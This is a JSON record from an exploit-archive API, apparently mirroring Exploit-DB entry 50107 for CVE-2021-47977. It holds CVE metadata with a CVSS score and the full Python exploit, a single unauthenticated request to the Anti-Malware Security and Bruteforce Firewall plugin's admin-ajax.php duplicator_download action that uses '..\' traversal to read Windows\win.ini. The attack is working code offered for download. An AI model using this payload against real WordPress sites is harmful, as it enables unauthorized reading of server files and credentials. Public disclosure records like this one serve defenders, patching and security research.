{"exploit":{"id":"EDB-50107","name":"WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal","description":"WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal","cves":["CVE-2021-47977"],"author":"TheSmuggler","published":"2021-07-06","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50107","path":"exploits/php/webapps/50107.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50107.py","vulnerabilities":[{"id":"CVE-2021-47977","state":"PUBLISHED","title":"WordPress Anti-Malware Security Bruteforce Firewall <= 4.20.72 Directory Traversal","titleSource":"CVE Program","description":"WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 contains a directory traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the file parameter. Attackers can send requests to the duplicator_download action via admin-ajax.php with path traversal sequences to access sensitive system files outside the intended directory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47977","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47977"},"updatedAt":"2026-07-28T01:47:32.706Z","retrievedAt":"2026-11-27T00:23:32.332Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50107.png?v=2","url":"https://exploitbin.com/exploits/EDB-50107","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50107/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50107/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal\n# Date: 05.07.2021\n# Exploit Author: TheSmuggler\n# Vendor Homepage: https://gotmls.net/\n# Software Link: https://gotmls.net/downloads/\n# Version: <= 4.20.72\n# Tested on: Windows\n\nimport requests\n\nprint(requests.get(\"http://127.0.0.1/wp-admin/admin-ajax.php?action=duplicator_download&file=..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini\", headers={\"User-Agent\":\"Chrome\"}).text)","sha256":"269a9cc41078b79d251f24cdc29facf2b79afe8049943f55504696387f04b4cc","bytes":482,"fetchedAt":"2026-11-27T11:07:43.911Z","encoding":"utf-8 (display only; download retains original bytes)"}